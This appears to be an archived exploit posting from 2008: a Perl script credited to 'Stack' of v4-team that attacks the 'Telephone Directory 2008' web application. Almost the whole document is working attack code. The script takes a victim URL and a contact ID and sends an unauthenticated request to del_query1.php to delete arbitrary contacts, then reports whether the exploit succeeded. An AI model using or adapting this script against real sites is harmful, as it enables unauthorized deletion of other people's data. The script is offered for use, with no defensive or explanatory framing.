Home / os / win10

teldir-delete.txt

Posted on 10 June 2008

#!/usr/bin/perl -w
# Telephone Directory 2008 <=  Arbitrary Delete Contact
########################################
#[*] Founded &  Exploited by : Stack
#[*] Contact: Ev!L =>> see down
#[*] Greetz : Houssamix & Djekmani & Jadi &  iuoisn & hak3r-b0y All muslims HaCkeRs  :)
#[*]  Special Thnx To : Simo64  L3azzzzzz khouya
########################################
#----------------------------------------------------------------------------#
########################################
# * TITLE:          PerlSploit Class
# * REQUIREMENTS:   PHP 4 / PHP 5
# * VERSION:        v.1
# * LICENSE:        GNU General Public License
# * ORIGINAL URL:   http://www.v4-Team/v4.txt
# * FILENAME:       PerlSploitClass.pl
# *
# * CONTACT:        Wanted  (french / english / arabic / moroco Darija :d )
# * THNX : AllaH
# * GREETZ:         Houssamix & Djekmani
########################################
#----------------------------------------------------------------------------#
########################################
system("color f");
print "		############################################################

";
print "		#   Telephone Directory 2008 <=  Arbitrary Delete Contact  #

";
print "		#                          by Stack                        #

";
print "		############################################################

";
########################################
#----------------------------------------------------------------------------#
########################################
use LWP::UserAgent;
die "Example: perl $0 http://victim.com/path/
" unless @ARGV;
print "
[!] ContactID : ";
chomp(my $id=<STDIN>);
$b = LWP::UserAgent->new() or die "Could not initialize browser
";
$b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
$host = $ARGV[0] . "/del_query1.php?id=".$id."";
$res = $b->request(HTTP::Request->new(GET=>$host));
$answer = $res->content;
if ($answer =~ /Contact(.*?)<br>/){
print "
Brought to you by v4-team.com...
";
print "
[+] Contact$1
";}
else{print "
[-] Exploit Failed...
";}

########################################
#-------------------         Exploit exploited by Stack       --------------------#
########################################

 

TOP